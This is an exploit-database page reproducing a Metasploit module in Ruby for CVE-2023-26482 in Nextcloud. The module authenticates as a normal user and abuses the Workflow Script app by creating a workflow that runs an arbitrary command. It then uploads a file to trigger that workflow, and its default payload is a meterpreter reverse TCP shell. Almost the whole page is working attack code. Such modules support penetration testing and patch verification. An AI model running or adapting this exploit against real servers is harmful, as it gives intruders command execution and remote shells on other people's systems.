Sploitus

Exploit for Nextcloud Workflows Remote Code Execution

metasploit Β· 2025-05-15

Exploit Code

ruby230 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-UNIX-WEBAPP-NEXTCLOUD_WORKFLOWS_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Retry

  def initialize(info = {})
    @token = nil

    super(
      update_info(
        info,
        'Name' => 'Nextcloud Workflows Remote Code Execution',
        'Description' => %q{
          This module adds workflows as an authenticated user
          which can only be created by administrators by design.
          If the app "Nextcloud Workflow Script" is installed it
          is possible to generate a workflow that executes commands.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Enis Maholli', # Discovery
          'arianitisufi', # Discovery
          'Armend Gashi', # Discovery
          'whotwagner'    # Metasploit Module
        ],
        'References' => [
          ['GHSA', 'h3c9-cmh8-7qpj', 'nextcloud/security-advisories'],
          ['CVE', '2023-26482']
        ],
        'Targets' => [
          [
            'nix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2023-03-30',
        'DefaultOptions' => { 'WfsDelay' => 16.minutes.seconds.to_i },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']),
        OptString.new('USERNAME', [true, 'The username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ]
    )
  end

  def parse_token(res)
    return if res.nil?

    if defined? res.get_html_document&.at('//head/@data-requesttoken')&.value
      Rex::Text.uri_encode(res.get_html_document.at('//head/@data-requesttoken').value)
    else
      print_error('token not found')
      nil
    end
  end

  def authenticate(user, pass)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
    @token = parse_token(res)
    fail_with(Failure::UnexpectedReply, 'Request Token not found') if @token.nil?

    data = "user=#{user}&password=#{pass}&requesttoken=#{@token}"

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login'),
      'method' => 'POST',
      'data' => data.to_s,
      'keep_cookies' => true
    )

    fail_with(Failure::NoAccess, 'Login failed') if res.nil? || res.code == 401
  end

  def request_token
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'csrftoken'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
    @token = res.get_json_document['token']
    fail_with(Failure::UnexpectedReply, '2: Request Token not found') if @token.nil?
  end

  def create_workflow(operation)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'),
      'method' => 'POST',
      'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
      'vars_get' => { 'format' => 'json' },
      'data' => {
        'id' => -1743078702939,
        'class' => 'OCA\\WorkflowScript\\Operation',
        'entity' => 'OCA\\WorkflowEngine\\Entity\\File',
        'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'],
        'name' => '',
        'checks' => [
          {
            'class' => 'OCA\\WorkflowEngine\\Check\\FileName',
            'operator' => 'matches',
            'value' => '/.*/',
            'invalid' => false
          }
        ],
        'operation' => operation,
        'valid' => true
      }.to_json,
      'keep_cookies' => true
    )

    fail_with(Failure::NoAccess, 'Login failed') unless res&.code == 200
    json_data = res.get_json_document
    flow_id = json_data.dig('ocs', 'data', 'id')
    flow_id
  end

  def upload_file(filename)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "remote.php/webdav/#{filename}"),
      'method' => 'PUT',
      'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
    )
    fail_with(Failure::UnexpectedReply, 'Unable to upload file') unless res&.message == 'Created'
  end

  def delete_workflow(workflow_id)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "ocs/v2.php/apps/workflowengine/api/v1/workflows/user/#{workflow_id}"),
      'vars_get' => { 'format' => 'json' },
      'method' => 'DELETE',
      'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
      'keep_cookies' => true
    )
  end

  def delete_file(user, filename)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "remote.php/dav/files/#{user}/#{filename}"),
      'method' => 'DELETE',
      'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
    )
  end

  def check
    # For the check command
    cookie_jar.clear

    authenticate(datastore['USERNAME'], datastore['PASSWORD'])
    request_token
    flow_id = create_workflow('sleep 1')

    return Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil?

    delete_workflow(flow_id)
    Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  def exploit
    # Main function
    cookie_jar.clear

    authenticate(datastore['USERNAME'], datastore['PASSWORD'])

    request_token

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    end
  end

  def execute_command(cmd, _opts = {})
    print_status('Sending payload..')
    @temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
    @flow_id = create_workflow(cmd.to_s)

    fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil?

    print_good('Workflow created')
    upload_file(@temp_filename)
  end

  def need_cleanup?
    defined?(@temp_filename) && @temp_filename
  end

  def cleanup
    super
    return unless need_cleanup?

    print_status('Cleaning up')

    delete_workflow(@flow_id) if defined?(@flow_id) && @flow_id
    delete_file(datastore['USERNAME'], @temp_filename) if defined?(@temp_filename) && @temp_filename

    @flow_id = nil
    @temp_filename = nil
  end
end